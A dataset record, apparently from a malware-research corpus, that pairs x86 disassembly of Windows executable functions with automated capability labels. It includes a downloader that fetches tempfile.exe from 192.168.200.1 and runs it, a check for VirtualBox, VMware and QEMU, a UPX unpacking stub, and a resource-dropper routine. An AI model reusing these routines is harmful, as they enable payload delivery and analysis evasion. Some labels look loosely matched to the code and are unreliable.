joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407ce0
Capabilities:
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push 0x4313b4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x407f08
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4313a4
push esi
call edi
push 0x431398
push esi
mov dword [0x431478], eax
call edi
push 0x43138c
push esi
mov dword [0x431458], eax
call edi
push 0x431380
push esi
mov dword [0x431460], eax
call edi
mov ecx, dword [0x431478]
mov dword [0x43144c], eax
cmp ecx, ebx
je 0x407f08
cmp dword [0x431458], ebx
je 0x407f08
cmp dword [0x431460], ebx
je 0x407f08
cmp eax, ebx
je 0x407f08
push 0x43137c
push 0x727
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x407f08
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, ebx
je 0x407f08
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x43136c
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x431364
lea eax, [esp + 0x70]
push 0x431358
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x16c]
push 0x431364
push 0x431344
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x16c]
lea eax, [esp + 0x68]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push 4
push 2
push ebx
push ebx
lea ecx, [esp + 0x7c]
push 0x40000000
push ecx
call dword [0x431458]
mov esi, eax
cmp esi, 0xffffffff
je 0x407f08
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
push ebp
push eax
push esi
call dword [0x431460]
push esi
call dword [0x43144c]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x20], ecx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov edi, 0x431340
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x6c]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], bx
mov dword [esp + 0x78], 0x81
call dword [0x431478]
test eax, eax
je 0x407f08
mov eax, dword [esp + 0x18]
push eax
call dword [0x43144c]
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x43144c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
Function at 0x40a2a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x408015
lea edi, [esi - 0x7015]
push edi
jmp 0x40a2ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40a2c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40a2b0
mov eax, 1
add ebx, ebx
jne 0x40a2d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40a2c8
jne 0x40a2e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40a2c8
xor ecx, ecx
sub eax, 3
jb 0x40a2f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40a36a
mov ebp, eax
add ebx, ebx
jne 0x40a303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40a310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40a334
inc ecx
add ebx, ebx
jne 0x40a320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40a315
jne 0x40a331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40a315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40a354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40a345
jmp 0x40a2b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40a354
add edi, ecx
jmp 0x40a2b6
pop esi
mov edi, esi
mov ecx, 0x1e4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40a372
cmp byte [edi], 0
jne 0x40a372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40a377
lea edi, [esi + 0x8000]
mov eax, dword [edi]
or eax, eax
je 0x40a3e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40a3a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa09c]
or eax, eax
je 0x40a3e0
mov dword [ebx], eax
add ebx, 4
jmp 0x40a3c1
call dword [esi + 0xa098]
mov ebp, dword [esi + 0xa0a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40a41a
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401670
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
sub esp, 0xb8
lea eax, [esp + 0x28]
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SYSTEMCurrentControlSetServicesDiskEnum
mov dword [esp], 0x80000002
mov dword [esp + 0x10], eax
mov dword [esp + 0x2c], pe_nt_image_headers32
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
je 0x4016c4
call sub.KERNEL32.dll_IsDebuggerPresent
test eax, eax
setne al
add esp, 0xb8
pop ebx
ret
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x2c]
lea ebx, [esp + 0x30]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ebx
mov dword [esp + 4], 0x406090
mov dword [esp], ecx
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x401760
mov dword [esp + 4], str.VBOX
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
je 0x401730
mov edx, dword [esp + 0x28]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 1
add esp, 0xb8
pop ebx
ret
mov dword [esp + 4], str.VMware
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401713
mov dword [esp + 4], str.QEMU
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401713
nop
lea esi, [esi]
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
jmp 0x4016b2
Function at 0x401780
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Download and write a file
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Write and execute a file
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x5c0
lea eax, [esp + 0x30]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call sub.WS2_32.dll_WSAStartup
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov esi, eax
mov dword [esp], str.192.168.200.1
call sub.WS2_32.dll_inet_addr
sub esp, 4
mov edx, 2
mov dword [esp], 0x1f90
mov word [esp + 0x20], dx
mov dword [esp + 0x24], eax
call sub.WS2_32.dll_htons
sub esp, 4
lea ecx, [esp + 0x20]
mov dword [esp + 8], 0x10
mov dword [esp], esi
mov word [esp + 0x22], ax
mov dword [esp + 4], ecx
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
js 0x4018e0
mov dword [esp + 4], 0x4060c9
mov dword [esp], str.tempfile.exe
lea ebx, [esp + 0x1c0]
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
jne 0x401858
jmp 0x4018f6
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
jg 0x401840
mov dword [esp], str.Arquivo_baixado_com_sucesso.
call sub.msvcrt.dll_puts
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], esi
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.tempfile.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
add esp, 0x5c0
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.Falha_na_comunicao.
call sub.msvcrt.dll_puts
add esp, 0x5c0
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.Erro_ao_criar_arquivo.
call sub.msvcrt.dll_puts
mov dword [esp], esi
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
jmp 0x4018d6
Function at 0x402500
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40254b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x402544
test esi, esi
je 0x402544
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402520
mov dword [esp], 0x408044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402730
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x402780
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402858
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4027be
cmp eax, 4
jne 0x4027e0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4027ce
cmp edx, 4
je 0x4027ce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402730
Function at 0x402f50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x462020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402fe8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fc8
xor eax, eax
push ebp
push 0x402fc1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fc8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x462020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x462020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403c94
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x464048], 0
je 0x403cf5
cmp word [0x46421c], 0xd7b2
jne 0x403cbd
cmp dword [0x464224], 0
jbe 0x403cbd
mov eax, 0x464218
call dword [0x464234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46206c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d1c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x462030], 0
jne 0x403d11
push 0
push 0x462064
push 0x46206c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405968
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4059ce
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404080
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b14
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4059b8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4059d5
lea eax, [ebp - 0x10]
call fcn.00403e10
ret

Function at 0x40a8dc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a915
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f00
jmp 0x40a91e
mov eax, ebx
mov edx, esi
call fcn.00403e64
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a928
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a949
mov al, byte [esp]
jmp 0x40a94b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40afd0
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40ae48
mov eax, dword [0x46357c]
cmp byte [eax], 0
je 0x40b04c
mov eax, dword [0x4633a0]
call fcn.00402980
call fcn.00402824
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408150
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b094
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b082
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x463350]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x464664]
call fcn.00404e7c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b8e8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b9be
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403ea8
lea eax, [ebp - 8]
call fcn.00404320
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004042d0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40b9a8
mov eax, ebx
call fcn.004026bc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40b9a1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004042d0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40b98b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40b9d0
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40b98b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9a8
mov eax, dword [ebp - 0x10]
call fcn.004026dc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9c5
lea eax, [ebp - 8]
call fcn.00403e10
ret

Function at 0x40be3c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40bea0
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404080
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407ce0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bea7
lea eax, [ebp - 0xc]
call fcn.00403e10
ret

Function at 0x419ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x464884
cmp dword [edi], 0
jne 0x41a06c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x464880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4623ec
mov ecx, 2
call fcn.004028b8
mov edx, 0x419fc8
lea eax, [esi + 5]
call fcn.00419fe8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00419fe8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a041
mov dword [0x464880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b280
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b286
ret
Function at 0x41d6c8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41d719
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41d700
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41d6f0
jmp 0x41d719
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41d701
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427c1c
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x427b68
call sub.user32.dll_EnumWindows
ret

Function at 0x427d3c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x427db9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042779c
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x427d61
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042739c
cmp dword [ebp - 4], 0
je 0x427da3
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004042d0
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x427dc0
lea eax, [ebp - 4]
call fcn.00403e10
ret

Function at 0x42aabc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x464b54], 0
je 0x42ac0b
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x463520]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42ac0b
mov eax, dword [0x464b58]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x464b54]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42abda
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x464b54]
call fcn.004135c0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42abd2
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42abd2
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42abd2
mov eax, dword [ebp - 0x14]
call fcn.00433708
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42abd2
push ebp
call fcn.0042aa78
pop ecx
test al, al
jne 0x42abd2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42ab8e
mov eax, dword [ebp - 0x14]
call fcn.00432238
dec eax
jle 0x42abd2
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004032d4
cmp byte [ebp - 1], 0
je 0x42abd2
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42abd2
mov edx, dword [ebp - 0x14]
mov eax, dword [0x464b58]
call fcn.0042a244
inc edi
dec ebx
jne 0x42ab21
mov eax, dword [0x464b58]
cmp dword [eax + 8], 0
jle 0x42abf2
mov eax, dword [0x464b58]
call fcn.0042a2d4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42ac0b
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042a8e0
pop ecx
test al, al
jne 0x42ac0b
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret